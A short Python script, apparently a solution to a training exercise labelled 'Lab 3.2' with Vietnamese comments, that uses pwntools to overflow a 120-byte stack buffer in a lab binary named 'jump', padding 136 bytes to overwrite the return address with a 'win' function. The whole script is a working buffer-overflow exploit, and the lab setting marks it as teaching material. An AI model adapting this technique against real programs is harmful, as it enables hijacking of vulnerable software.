#!/usr/bin/env python3
# Lab 3.2: binary jump, buf[120]. Offset do bang cyclic = 136 (khong phai 120!),
# gom buf[120] + padding can frame + saved RBP.
from pwn import *

context.binary = elf = ELF('./jump', checksec=False)
context.log_level = 'info'

def conn():
    return remote('host', 1337) if args.REMOTE else process('./jump')

offset = 136                                  # do bang cyclic (xem transcript.txt)
io = conn()
io.sendafter(b'noi di:\n', flat(b'A' * offset, elf.sym['win']))
print(io.recvall(timeout=2).decode(errors='replace'))